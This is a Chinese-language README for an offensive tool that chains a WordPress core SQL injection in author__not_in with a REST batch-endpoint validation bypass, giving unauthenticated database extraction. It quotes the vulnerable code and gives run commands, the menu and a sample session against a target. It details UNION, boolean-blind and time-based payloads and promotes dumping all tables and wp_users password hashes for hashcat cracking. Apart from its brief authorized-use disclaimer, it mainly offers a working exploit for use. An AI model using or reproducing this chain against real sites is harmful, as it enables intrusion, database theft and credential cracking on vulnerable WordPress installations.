wpsqli 针对 CVE-2026-60137 的完整 SQLi 提取器 + 转储工具
一款快速、菜单驱动的数据库提取工具,利用 WordPress 核心中的
author__not_inSQL 注入漏洞。该工具纯粹专注于数据库枚举与转储,利用 REST 批量路由混淆(CVE-2026-63030)以未认证方式触达 SQLi 汇聚点。
wpsqli 是一款纯 Python 工具,用于利用 WordPress 核心中的链式漏洞,实现未认证的数据库 SQL 注入。它通过批量路由混淆漏洞绕过 WordPress REST API 校验,将原始字符串载荷直接送达 WP_Query SQL 汇聚点。
该工具以速度和灵活性为设计目标:自动尝试基于 UNION 的带内提取(即时完成),随后回退到 8 线程并行布尔盲注提取,必要时最终采用顺序时间盲注提取。
该工具串联两个独立漏洞,实现未认证的数据库提取:
author__not_in SQL 注入(CVE-2026-60137)位置: wp-includes/class-wp-query.php 中的 WP_Query::get_posts()
author__not_in 参数仅在输入为数组时应用 absint() 清洗。如果传入字符串,is_array() 防护会被跳过,字符串原样通过 implode(),并被直接拼接进 SQL $where 子句。
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
REST API 文章端点将 author_exclude 映射到 author__not_in,但将其声明为整数 type => 'array',因此核心会强制转换/拒绝字符串。Bug B 通过滥用 REST 批量端点(/wp-json/batch/v1)中的失同步漏洞,将字符串偷偷绕过校验。通过注入一个 wp_parse_url() 会拒绝的畸形路径引导载荷,WP_Error 被种入批量请求列表,使 $matches 与 $validation 失去同步。这使得后续子请求可以在不做参数校验的情况下被分发到错误的处理器。
注意: 仅当未使用持久化对象缓存(Redis/Memcached)时,才能触达 SQLi 汇聚点。
pip install。wp_posts 数据,在单个 HTTP 请求中提取完整字符串(即时)。Ctrl+C 会停止当前查询并返回部分结果,而不会使会话崩溃。ID|user_login|user_pass 格式,带 bcrypt 哈希,可直接用于 hashcat -m 35500。无需安装,直接下载运行:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
环境要求:
启动交互式菜单:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| 选项 | 描述 |
|---|---|
0 | 连接目标(自动清洗 URL) |
1 | 验证漏洞及当前生效的提取模式 |
| 选项 | 描述 |
|---|---|
9 | 列出 MySQL 服务器上的所有数据库 |
10 | 列出当前或指定数据库中的所有表 |
11 | 列出指定表的所有列名 |
| 选项 | 描述 |
|---|---|
12 | 转储单个表(可设置行数限制并保存到文件) |
13 | 转储当前数据库中的所有表 |
14 | 完整大规模转储 — 所有表 + 所有行,保存到带时间戳的文件 |
该工具按速度优先级自动尝试三种提取模式:
伪造一行假的 wp_posts 数据,将提取值以十六进制编码写入 post_title 列(用 ||..|| 标记包裹)。REST API 会将其回显在响应中——整个字符串只需单个 HTTP 请求。
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) 对结果进行编码当 UNION 不可用时,使用 8 个并行线程配合二分搜索逐字符提取。布尔判断依据是注入的 AND (condition) 是否返回行。
当布尔判断返回零行(例如站点没有已发布的文章)时的回退方案。使用 IF(condition, SLEEP(N), 0) 将真值编码在响应延迟中。
本工具仅用于经授权的安全测试和教育目的。你只应对自己拥有或已获得明确书面测试许可的系统使用本工具。未经授权访问计算机系统属于违法行为。
本工具的作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。请自行承担使用风险。
本工具仅用于教育和经授权的测试目的。
| 版本范围 | 状态 |
|---|
| 6.8.0 – 6.8.5 | 存在 SQLi 漏洞,但链路不可达(批量混淆于 6.9.0 引入) |
| 6.9.0 – 6.9.4 | 存在漏洞 — 完整未认证链路 |
| 7.0.0 – 7.0.1 | 存在漏洞 — 完整未认证链路 |
| 6.8.6 | 已修补(SQLi) |
| 6.9.5 | 已修补 |
| 7.0.2 | 已修补 |
| 7.1-beta2+ | 已修补 |
| 选项 | 描述 |
|---|
2 | 提取 MySQL 版本(SELECT @@version) |
3 | 提取当前数据库名称(SELECT DATABASE()) |
4 | 提取当前数据库用户(SELECT CURRENT_USER()) |
5 | 提取 WordPress 表前缀 |
6 | 转储 wp_users 表(ID、登录名、密码哈希) |
7 | 执行自定义 SQL 查询 |
8 | 依次运行所有指纹采集(选项 2-5) |
| 模式 | 每个查询的请求数 | 速度 | 适用场景 |
|---|
| UNION | 1 | 即时 | 无对象缓存且列数匹配时 |
| 布尔盲注(8 线程) | ~7 × 字符串长度 / 8 | 快 | UNION 被阻断但有行数据时 |
| 时间盲注 | ~7 × sleep × 字符串长度 | 慢 | 布尔判断无行可用时 |
| 提取内容 | 字符数 | 请求数 | 耗时 |
|---|
| MySQL 版本 | ~20 | ~140 | ~15 秒 |
| 数据库名称 | ~15 | ~105 | ~12 秒 |
| 数据库用户 | ~25 | ~175 | ~20 秒 |
| 表前缀 | ~5 | ~35 | ~5 秒 |
| wp_users 行(200 字符) | 200 | ~1400 | ~2 分钟 |